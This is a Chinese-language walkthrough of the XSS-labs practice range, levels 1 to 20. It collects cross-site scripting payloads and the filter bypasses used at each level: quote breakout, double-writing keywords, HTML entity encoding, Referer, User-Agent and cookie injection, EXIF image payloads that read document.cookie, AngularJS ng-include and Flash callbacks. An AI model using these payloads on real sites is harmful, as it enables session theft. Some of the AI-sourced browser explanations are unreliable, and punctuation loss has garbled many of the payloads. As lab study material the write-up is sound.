XSS-labs-master 📅 2026/8/15 11:43:10 level1 一级PHP代码scriptalert()/scriptlevel2二级PHP代码scriptalert()/scriptlevel3PHP代码: csriptalert()/script 不行查看源码如图得知、、被进行了 HTML 转义→quot;→lt;→gt;双引号、尖括号失效无法用script、这类传统 Payload❌ 但是单引号没有被转义利用思路使用单引号闭合value跳出属性使用HTML 事件触发 JS不需要 onfocusjavascript:alert() level4PHP代码onfocusjavascript:alert() 可见 被转义成 \ 但是“没有被转义可以利用 onfocusjavascript:alert() level5PHP代码 onfocusjavascript:alert() onfocus被变成o_focus了试试用script标签 scriptalert()/script 试试a/a标签弹窗 a hrefjavascript:alert()111/a level6PHP代码a hrefjavascript:alert()111/a 查看源码发现其实就是把scriptaonfocus给加_了看PHP代码可以使用大小写绕过a HRefjavascript:alert()111level7PHP代码先执行strtolower()所有输入统一转小写大小写混淆绕过无效str_replace(关键词,,$str)找到关键词直接空替换删除替换函数只会单次删除遇到oonn、hhrefref这类双写字符串删除中间子串后会重组出完整关键词a HRefjavascript:alert()/a发现javascript里面的script被删除了分析php代码可以双写javascracriptipta hrefjavascscriptript:alert()111/ahref被删除了a hrhrefefjavasscriptcript:alert()111/alevel8PHP代码故技重施a hrefhrefjavascriptscript:alert()111/a去掉双写a hrefjavascript:alert()111/a还是不行分析php代码发现1. 全部被转义为 HTML 实体lt; gt; quot;无法跳出标签、无法闭合原有结构。2.输出位置友情链接a href这里放入用户输入友情链接/a。3.关键词过滤拦截script、on、href大小写绕过、双写绕过均失效尝试编码绕过unicode编码绕过(HTML 实体俗称 unicode 编码最大好处后端不解析、浏览器自动解码把敏感字符 “藏起来” 躲过服务器过滤到达浏览器渲染阶段才还原成可执行符号。)#106;#97;#118;#97;#115;#99;#114;#105;#112;#116;#58;#97;#108;#101;#114;#116;#40;#41; https://www.matools.com/code-convert-unicodelevel9PHP代码其中比第八关多了32行的if条件如果falsefalse则失败条件是$str7里面有http://构造payloadjavascript:alert();http://unicode编码#106;#97;#118;#97;#115;#99;#114;#105;#112;#116;#58;#97;#108;#101;#114;#116;#40;#41;#59;http:// 59;是unicode对;编码在js里面表示结束无法弹窗尝试用注释#106;#97;#118;#97;#115;#99;#114;#105;#112;#116;#58;#97;#108;#101;#114;#116;#40;#41;/*http://*/level10PHP代码input被hidden了我们只需要改为typetext构造payloadt_sortjavascript:alert();typetext但这里是 input 标签没有 href 属性所以不用href:javascript:alert(),用事件触发属性onfocust_sortonfocusjavascript:alert() typetext 一般on事件后面用空格隔开就行没有空格会报错level11PHP代码?t_sortonfocusjavascript:alert() typetextt_sort的输入被htmlspecialchars()转义了其中input namet_sort value【来自GET参数 t_sort】 typehidden input namet_ref value【来自HTTP请求头 Referer】 typehidden Referer请求头 → $str11 → 过滤 → $str33 → 填入 t_ref 的 value分析PHP代码发现t_ref并没有那么多限制但是GET输入不了就直接改请求头什么是 RefererReferer是浏览器自带的 HTTP 请求头作用是告诉服务器我是从哪个页面跳转过来的。 正常访问时浏览器自动带上普通地址栏无法直接修改这个请求头所以必须抓包Burp或者请求头修改插件。Referer onfocusjavascript:alert() typetext没有Referer头就自己加一个进去记住格式规范Referer 这后面有个空格level12PHP代码分析PHP代码可知此关切口在t_ua参数内需要在User Agent内输入即可User-Agent onfocusjavascript:alert() typetext把这个User-Agent的数据替换掉就行了一定要注意格式level13PHP代码其中第20行表示从浏览器 Cookie 里取出名为 user 的内容存到变量 $str11 里面。举个场景例子网站登录后服务器种下 Cookieuseradmin123执行这段代码后$str11 admin123构造payloadonfocusjavascript:alert() typetextlevel14PHP代码扩展exif知识iframe nameleftframe srchttp://www.exifviewer.org/ .../iframe真实靶场逻辑 页面加载exif 图片解析服务读取图片的EXIF 元数据图片注释 / ImageDescription直接把 EXIF 内容输出到页面无过滤。 ✅ 漏洞类型EXIF XSS图片元数据存储型 XSS关键点不是修改图片文件名是修改图片内部 EXIF 注释原理简述JPG 图片可以嵌入 EXIF 信息图片描述、作者。 网站读取图片 EXIF 字段直接渲染 HTMLpayload 写在 EXIF【ImageDescription】里访问页面时代码执行。一、制作带 XSS payload 你 的图片两种方法Payload 推荐基础弹窗scriptalert(document.cookie)/script方法 1Linux exiftool准备一张正常 jpg 图片test.jpg执行命令写入 EXIF 图片描述exiftool -ImageDescriptionscriptalert(1)/script test.jpgWindows 可以下载 ExifTool 图形界面工具。方法 2Python 脚本修改 EXIFfrom PIL import Image import piexif img Image.open(test.jpg) exif_dict piexif.load(img.info[exif]) # 写入ImageDescription exif_dict[0th][piexif.ImageIFD.ImageDescription] scriptalert(document.cookie)/script exif_bytes piexif.dump(exif_dict) img.save(xss.jpg, exifexif_bytes)⚠️ 注意PNG 不支持标准 EXIF必须使用 JPG/JPEG二、靶场访问流程上传制作好的xss.jpg到服务器拿到图片地址访问 level14 页面iframe 加载 exif 解析服务传入你的图片地址 靶场 URL 格式类似/xss/level14.php?srchttps://xxx/xss.jpg服务读取图片 EXIF 信息将你写的script直接输出页面触发 XSS。三、常见踩坑点❌ 不要把 payload 写在文件名里没用必须写入图片内部 EXIF 元数据❌ 使用 png 图片EXIF 不生效一定要 jpg❌ 部分浏览器现代策略iframe 跨域、CSP 限制弹窗 遇到 CSP 拦截更换 payload改用 img/onerrorimg srcx onerroralert(1)工具使用错误很多图片编辑器会自动清空 EXIF 信息导出图片时不要压缩清理元数据四、延伸考点面试 / 护网常问EXIF XSS 属于存储型 XSS载荷保存在图片文件内防御方案后端读取 EXIF 输出前做 HTML 转义图片上传后自动剥离全部 EXIF 元数据配置 CSP禁止内联脚本同类漏洞图片 IPTC、XMP 元数据注入。ok我按照上述使用脚本操作把xss.jpg放入服务器访问由于能力有限展示不出这里直接修改代码执行无法复现等遇到再说把level15PHP代码一、源码核心审计要点$str $_GET[src]; echo span classng-include:.htmlspecialchars($str)./span;输入点GET 参数src过滤函数htmlspecialchars()默认模式转义 ⚠️不转义单引号核心漏洞根源输出位置HTMLclass属性内页面加载 AngularJS 1.x二、核心知识点1. htmlspecialchars 关键特性高频考点不加第二参数htmlspecialchars($str)→ 只转义双引号保留单引号安全写法htmlspecialchars($str, ENT_QUOTES)→ 同时转义单引号、双引号结论很多人误以为该函数能防御所有引号是常见误区。2. AngularJS 1.x ng-include 特性AngularJS 会自动解析 class 中ng-include:路径格式语法强制要求路径必须被单引号包裹限制仅支持加载同源页面无法跨域加载外部资源无法直接在当前页面注入HTML标签 被实体编码浏览器不解析3. 间接XSS思路中继攻击当前页面无法直接构造XSS标签利用ng-include 加载另一处存在漏洞的页面level1.php攻击链路 level15可控ng-include路径 → ng-include加载 level1.php → level1.php无过滤输出参数 → 触发XSS三、Payload原理拆解传入参数srclevel1.php?nameimg srcx onerroralert(1)渲染后HTMLspan classng-include:level1.php?nameimg srcx onerroralert(1)/span单引号成功保留AngularJS识别指令并发起加载请求。编码备用Payload防止URL特殊符号丢失?src%27level1.php?name%3Cimg%20srcx%20onerroralert(1)%3E%27四、面试/靶场考点汇总考点1htmlspecialchars 不同模式转义范围区分ENT_QUOTES / ENT_COMPAT默认二者区别是XSS经典考点。考点2AngularJS 1.x 基于class属性的ng-include解析漏洞区分现代Angular与老旧AngularJS 1.x新版本不存在该特性。考点3直接注入受阻时使用同源页面中继的间接XSS思路不能直接弹窗时寻找站点内其他未过滤的页面作为跳板。考点4输出在class属性中的XSS利用思路不能直接写HTML标签需要利用前端框架特性进行突破。考点5ng-include同源策略限制只能加载同域名资源不能引入外部URL。五、防御方案答题必备使用htmlspecialchars($var, ENT_QUOTES)同时转义单、双引号禁止用户可控数据直接拼接至HTML属性淘汰老旧 AngularJS 1.x 框架若业务需要动态加载页面配置路径白名单禁止任意路径传入。根据ai分析这个ng-include实操一下?srclevel1.php?namejavascript:alert()不管这么尝试还是谈不了窗二、逐层拆解「为什么新版浏览器无法触发」1. AngularJS 1.2.0 古老语法特性关卡设计依赖AngularJS 早期支持三种指令写法属性写法span ng-includeexpr/span稳定class 写法span classng-include:表达式不稳定就是本关使用形式原理Angular 启动后扫描 DOM解析 class 里ng-include:后面的内容当成 JS 表达式执行调用$http.get()加载模板。2. 致命问题 1DOM 加载时序竞争页面渲染顺序HTML 从上往下渲染先渲染span classng-include:xxx此时script srcangular.min.js在 head 中开始下载DOM 渲染完成 → Angular 脚本还没下载、初始化完毕当 Angular 最终启动完成时默认只会扫描一次初始 DOM不会重新扫描已经渲染好的元素很多情况下直接忽略这个 span不会发起 AJAX 请求。就算你把 js 放 head网络波动、浏览器渲染调度依然有可能出现时序错位。3. 致命问题 2现代 Chromium 浏览器弱化支持最核心Chrome/Edge 新版本对十几年前 AngularJS1.2 的CSS class 指令解析器做了兼容降级。 网上所有通关视频都是2016 年前旧 Chrome/Firefox。 现在新版浏览器能正常解析ng-include属性指令经常跳过、不解析 classng-include:xxx 这种形式现象就是网络面板永远看不到 level1.php 的 XHR 请求和你当前现象完全吻合。4. 致命问题 3浏览器地址栏 URL 天然破坏 Payload双层编码根源原始 payloadlevel1.php?nameimg srcx onerroralert(1)如果你直接丢进 URL 参数?srclevel1.php?nameimg srcx onerroralert(1)浏览器会把内部的?和识别成参数分隔符直接切断 URL。 最终传给后端的$str是残缺字符串 → Angular 拿到非法 URL放弃请求。 所以必须双层 URL 编码解决这个问题。但就算编码解决了字符串截断上面【浏览器兼容弱化】的问题依旧存在。5. 补充源码没有 htmlspecialchars原版关卡本来是带过滤的标准原版 level15 代码echo bodyspan classng-include:.htmlspecialchars($str)./span/body;htmlspecialchars()转义 保留单引号这是关卡考点 你当前代码删掉了虽然放宽限制但依旧解决不了浏览器不解析 class 指令的硬伤。三、完整攻击链路关卡设计预期流程GET 参数 src 传入level1.php?nameimg srcx onerroralert(1)PHP 输出span classng-include:level1.php?nameimg.../spanAngular 解析 class提取表达式level1.php?nameimg srcx onerroralert(1)Angular 发起 AJAX GETlevel1.php?nameimg srcx onerroralert(1)level1.php 接收 name直接反射输出到页面img加载失败触发 onerror → alert 弹窗四、总结你失败的根本原因排序新版 Chrome/Edge 不再稳定支持 AngularJS1.2 的 class 形式指令最大元凶HTML 渲染与 Angular 初始化存在时序竞争偶发失效地址栏直接输入 URL 容易被浏览器拆分参数需要双层编码五、唯一贴合原题考点、稳定可行方案不要在浏览器地址栏直接访问使用 Burp Suite 发送原始 HTTP 请求原始请求参数srclevel1.php?nameimg srcx onerroralert(1)绕过浏览器 DOM 预解析、地址栏 URL 自动处理两大限制满足当年靶场设计环境。还是弹不了窗算了记住知识点就行了level16PHP代码分析代码strtolower()函数表示把str里面的数据进行小写把script、空格、/变成nbsp所以不能使用大小写绕过以及script标签和空格在内HTML 标签属性可以不用空格分隔用tab、换行或者直接用/**/不行/ 被过滤最简方案属性之间不用空格依靠标签语法粘连优先使用onmouseover/onerror事件利用#09;制表符 URL 编码%09替代空格img%09srcx%09onerroralert(1)%09被发现了用换行符%0A试试img%0Asrcx%0Aonerroralert(1)level17PHP代码这个代码重点在理解这一行embed srcxsf01.swf?【arg01的值】【arg02的值】 width100% height100%其中arg01和arg02被htmlspecialchars()函数包裹这个函数默认转义 但是它不会拦截 HTML 属性外面的 标签截断就是如果我们输入的是用于闭合embed标签的话它可能不会转义但作为特殊字符就会转义。?arg01a width100 height100svg onloadalert(1)arg02b ?arg01aarg02b onmouseoveralert(1)空格替换为%0A或者%09即可由于浏览器不支持embed标签将php替换为img标签表示注入成功http://127.0.0.1/xss-labs-master/level17.php?arg01a%09width100%09height100%3E%3Csvg%09onloadalert(1)%3Earg02blevel18PHP代码分析代码还是htmlspecialchars()函数把、、全部编码了同样把embed换成img直接不跳出 embed 标签在 arg02 追加空格事件不使用任何 先试试17关的payloadlevel18.php?arg01svg%0Aonloadalert()arg02b?arg01aarg02b%20onmouseoveralert(1)level19PHP代码分析代码其实和17、18关差不多?arg01aarg02b%20onmouseoveralert(1)用Flash回调jsxsf03.swfFlash 程序会读取 URL 中的参数内置 ActionScript 漏洞接收 callback 参数并调用 JS。 经典 Payload 原型level19.php?arg01aarg02b%26callbackalert%26作用在 URL 层面新增参数callbackalert传给 swf。由于现代浏览器彻底废除 Flashswf 无法运行这条原生解法现在看不到弹窗只能理解原理不能复现。漏洞理论存在但运行载体Flash消失攻击失效。level20PHP代码属于Flash AS 回调 XSS原理xsf04.swf读取 URL 查询参数识别自定义回调参数并执行 JS。 历史标准 Payload 原型level20.php?arg01aarg02b%26callbackalert%26作用给 swf 追加 URL 参数callbackalertFlash 内部调用回调函数触发弹窗现实限制现代浏览器彻底移除 Flash 插件xsf04.swf无法运行。参考文章新建标签页个人理解或有偏差欢迎大家批评纠正。